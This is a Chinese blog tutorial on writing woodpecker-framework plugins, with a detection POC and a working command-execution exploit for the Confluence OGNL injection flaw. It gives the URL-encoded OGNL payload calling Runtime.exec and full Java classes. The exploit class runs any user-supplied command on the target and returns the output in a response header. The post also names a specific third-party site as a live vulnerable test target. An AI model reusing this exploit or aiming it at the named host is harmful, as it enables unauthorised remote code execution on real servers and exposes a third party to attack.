POC EXP | woodpecker插件编写

2024-06-16 12:52
文章标签 插件 poc exp woodpecker 编写

本文主要是介绍POC EXP | woodpecker插件编写,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

woodpecker插件编写

目录

  • woodpecker介绍
  • woodpecker使用
  • 插件编写
    • 安装环境
      • woodpecker-sdk
      • woodpecker-request
    • 创建Maven项目
  • Confluence OGNL表达式注入漏洞插件编写
    • 创建Package包和Class类
    • 编写POC
      • 漏洞POC
      • 代码编写
      • 导出jar包
      • 将jar包放入woodpecker的plugin目录
      • 运行woodpecker测试
    • 编写EXP
      • 代码编写
      • 运行woodpecker测试

woodpecker介绍

  • https://github.com/woodpecker-framework/woodpecker-framework-release

woodpecker-framework是一款漏洞精准检测深度利用框架,只做一件事:精准狙击高危漏洞

针对人群:专业打点人士。

  • 目标探测
  • 精准检测
  • 深度利用
  • 荷载生成

在这里插入图片描述

woodpecker使用

java -jar woodpecker-framework.1.3.5.jar

运行之后,会自动生成common、config.db、plugin

在这里插入图片描述

plugin用来存放woopecker插件。

插件编写

安装环境

woodpecker-sdk

woodpecker-sdkwoodpecker-framework的开发SDK,里面定义了woodpecker-framework开放的接口。 开发者可以通过接口编写插件实现自己想要的功能。

  • https://github.com/woodpecker-framework/woodpecker-sdk

下载下来,解压,使用IDE打开项目,点击右侧“install”。

在这里插入图片描述

woodpecker-request

woodpecker-requests是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等

  • https://github.com/woodpecker-framework/woodpecker-requests

下载下来,解压,使用IDE打开项目,点击右侧“install”。

在这里插入图片描述

创建Maven项目

在这里插入图片描述

在这里插入图片描述

    <dependencies><dependency><groupId>me.gv7.woodpecker</groupId><artifactId>woodpecker-sdk</artifactId><version>0.3.0</version></dependency><dependency><groupId>me.gv7.woodpecker</groupId><artifactId>woodpecker-requests</artifactId><version>0.2.0</version></dependency></dependencies>

Confluence OGNL表达式注入漏洞插件编写

创建Package包和Class类

创建Package包

  • exploit
  • pocs
  • utils

和Class类

  • ConfluenceVulPlugin(不固定,和漏洞名相关)
  • WoodpeckerPluginManager整个程序的入口
  • ConfluenceOgnlPoc(不固定,和漏洞名相关)
  • ConfluenceOgnlExp(不固定,和漏洞名相关)

在这里插入图片描述

编写POC

漏洞POC

http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/

进行url编码为:

/$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/

代码编写

WoodpeckerPluginManager类:(整个插件的入口)

package me.gv7.woodpecker.plugin;// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{@Overridepublic void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {// 注册漏洞插件iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );}
}

ConfluenceVulPlugin类:(具体的漏洞插件类)

package me.gv7.woodpecker.plugin;import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;import java.util.ArrayList;
import java.util.List;// IVulPlugin接口由woodpecker-sdk提供
public class ConfluenceVulPlugin implements IVulPlugin{public static IVulPluginCallbacks callbacks;public static IPluginHelper pluginHelper;@Overridepublic void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {this.callbacks = iVulPluginCallbacks;this.pluginHelper = iVulPluginCallbacks.getPluginHelper();iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述// 注册漏洞验证模块iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());// 注册漏洞利用模块(利用模块可以有多个)List<IExploit> exploitList = new ArrayList();exploitList.add(new ConfluenceOgnlExp());iVulPluginCallbacks.registerExploit(exploitList);}
}

ConfluenceOgnlPoc类:

package me.gv7.woodpecker.plugin.pocs;import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;import java.util.HashMap;
import java.util.Map;
import java.util.Objects;public class ConfluenceOgnlPoc implements IPoc {@Overridepublic IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {// 创建输出模块,用作结果的输出IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();// 设置目标地址,iTarget.getAddress()由插件面板获取地址scanResult.setTarget(iTarget.getAddress());// 调用漏洞验证函数Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());scanResult.setExists((Boolean) responseMap.get("flag"));scanResult.setMsg((String) responseMap.get("results"));iResultOutput.infoPrintln((String) responseMap.get("results"));return scanResult;}// 漏洞验证函数private Map<String, Object> checkConfluenceOgnl(String address){Map<String,Object> responseMap = new HashMap<>();boolean flag = false;String results  = null;try {/*Requests.get()发送一个get请求(验证漏洞的POC)。verify(false) : 忽略https证书失效timeout(3000) : 超时时间3000毫秒send() : 发送*/RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();String header = response.getHeader("X-Response");if(response.statusCode() == 302 && header.contains("ognlinject")){flag = true;results = String.format("%s存在命令注入漏洞!!!",address);}else {flag = false;results = String.format("%s不存在命令注入漏洞",address);}}catch (Exception e){flag = false;results = String.format("%s不存在命令注入漏洞",address);}finally {// 设置responseMap的值,将flag和results带回去responseMap.put("flag",flag);responseMap.put("results",results);}// 返回return responseMap;}
}

导出jar包

点击“package”生成jar包:

在这里插入图片描述

在这里插入图片描述

将jar包放入woodpecker的plugin目录

在这里插入图片描述

运行woodpecker测试

在这里插入图片描述

测试网址:此网址存在该漏洞

https://confluence.startwire.com

在这里插入图片描述

编写EXP

代码编写

ConfluenceOgnlExp类:

package me.gv7.woodpecker.plugin.exploit;import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;public class ConfluenceOgnlExp implements IExploit {@Overridepublic String getExploitTabCaption() {return "代码执行";  // 选项名称}// 接收用户参数@Overridepublic IArgsUsageBinder getExploitCustomArgs() {IArgsUsageBinder argsUsageBinder = ConfluenceVulPlugin.pluginHelper.createArgsUsageBinder();List<IArg> args = new ArrayList<>();IArg command = ConfluenceVulPlugin.pluginHelper.createArg();command.setDescription("执行的命令");command.setName("Command");command.setDefaultValue("whoami");command.setRequired(true);  // 必填args.add(command);argsUsageBinder.setArgsList(args);return argsUsageBinder;}@Overridepublic void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) throws Throwable {try {String command = (String) map.get("Command");command = URLEncoder.encode(command);String address = iTarget.getAddress();RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"+command+"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();if (response.statusCode() == 302){String responseHeader = response.getHeader("X-Response");iResultOutput.successPrintln(responseHeader);}else{iResultOutput.failPrintln("执行失败了~");}}catch (Exception e){iResultOutput.failPrintln("执行异常了~");}}
}

运行woodpecker测试

在这里插入图片描述

在这里插入图片描述

这篇关于POC EXP | woodpecker插件编写的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1066509

相关文章

WordPress网创自动采集并发布插件

网创教程:WordPress插件网创自动采集并发布 阅读更新:随机添加文章的阅读数量,购买数量,喜欢数量。 使用插件注意事项 如果遇到404错误,请先检查并调整网站的伪静态设置,这是最常见的问题。需要定制化服务,请随时联系我。 本次更新内容 我们进行了多项更新和优化,主要包括: 界面设置:用户现在可以更便捷地设置文章分类和发布金额。代码优化:改进了采集和发布代码,提高了插件的稳定

vscode-创建vue3项目-修改暗黑主题-常见错误-element插件标签-用法涉及问题

文章目录 1.vscode创建运行编译vue3项目2.添加项目资源3.添加element-plus元素4.修改为暗黑主题4.1.在main.js主文件中引入暗黑样式4.2.添加自定义样式文件4.3.html页面html标签添加样式 5.常见错误5.1.未使用变量5.2.关闭typescript检查5.3.调试器支持5.4.允许未到达代码和未定义代码 6.element常用标签6.1.下拉列表

BD错误集锦8——在集成Spring MVC + MyBtis编写mapper文件时需要注意格式 You have an error in your SQL syntax

报错的文件 <?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE mapperPUBLIC "-//mybatis.org//DTD Mapper 3.0//EN""http://mybatis.org/dtd/mybatis-3-mapper.dtd"><mapper namespace="com.yuan.dao.YuanUserDao"><!

如何利用echarts编写立体的柱状图表

1、引入 import * as echarts from 'echarts' 2、创建图标容器 3、调用渲染 <template><div ref="eachrtsBox" style="width: 200px;height: 200px;"></div></template><script>import * as echarts from 'echarts'export d

ROS2从入门到精通4-4:局部控制插件开发案例(以PID算法为例)

目录 0 专栏介绍1 控制插件编写模板1.1 构造控制插件类1.2 注册并导出插件1.3 编译与使用插件 2 基于PID的路径跟踪原理3 控制插件开发案例(PID算法)常见问题 0 专栏介绍 本专栏旨在通过对ROS2的系统学习,掌握ROS2底层基本分布式原理,并具有机器人建模和应用ROS2进行实际项目的开发和调试的工程能力。 🚀详情:《ROS2从入门到精通》 1 控制插

uniapp 使用uview 插件

看创建项目版本vue2 、 vue3 Button 按钮 | uView 2.0 - 全面兼容 nvue 的 uni-app 生态框架 - uni-app UI 框架 1.  npm install uview-ui@2.0.36 2. // main.js,注意要在use方法之后执行import uView from 'uview-ui'Vue.use(uView)// 如此

MyBatis系列之分页插件及问题

概述 无论是C端产品页面,还是后台系统页面,不可能一次性将全部数据加载出来。后台系统一般都是PC端登录,用Table组件(如Ant Design Table)渲染展示数据,可点击列表的下一页(或指定某一页)查看数据。C端产品如App,在下滑时可查看更多数据,看起来像是一次性加载数据,实际上也是分批请求后台系统获取数据。而这,就是分页功能。 如果没有使用Hibernate或MyBatis这样的O

google-自我插件

1. Bitwarden 密码管理器 2. React Developer Tools 3. Vue.js devtools 4. YouTube™ 双字幕 5. 沉浸式翻译 - 网页翻译插件 6. FeHelper(前端助手) 7. IDM Integration Module 8. Redux DevTools - Next 9. 待续…

ssh在本地虚拟机中的应用——解决虚拟机中编写和阅读代码不方便问题的一个小技巧

虚拟机中编程小技巧分享——ssh的使用 事情的起因是这样的:前几天一位工程师过来我这边,他看到我在主机和虚拟机运行了两个vscode环境,不经意间提了句:“这么艰苦的环境写代码啊”。 后来我一想:确实。 我长时间以来都是直接在虚拟机里写的代码,但是毕竟是虚拟机嘛,有时候编辑器没那么流畅,在文件比较多的时候跳转很麻烦,容易卡住。因此,我当晚简单思考了一下,想到了一个可行的解决方法——即用ssh

浏览器插件之C++开发ActiveX

转自:http://blog.csdn.net/SHIJIERUCIMEIHAO/article/details/8827940 网上看到些文章讲述关于C++创建ActiveX插件的讲述,觉得比较好,特保存起来    一般的Web应用对于浏览器插件能不使用的建议尽量不使用,因为其涉及到安全问题以及影响用户安装(或自动下载注册安装)体验问题。在有特殊需求(如涉及数据安全的金融业务数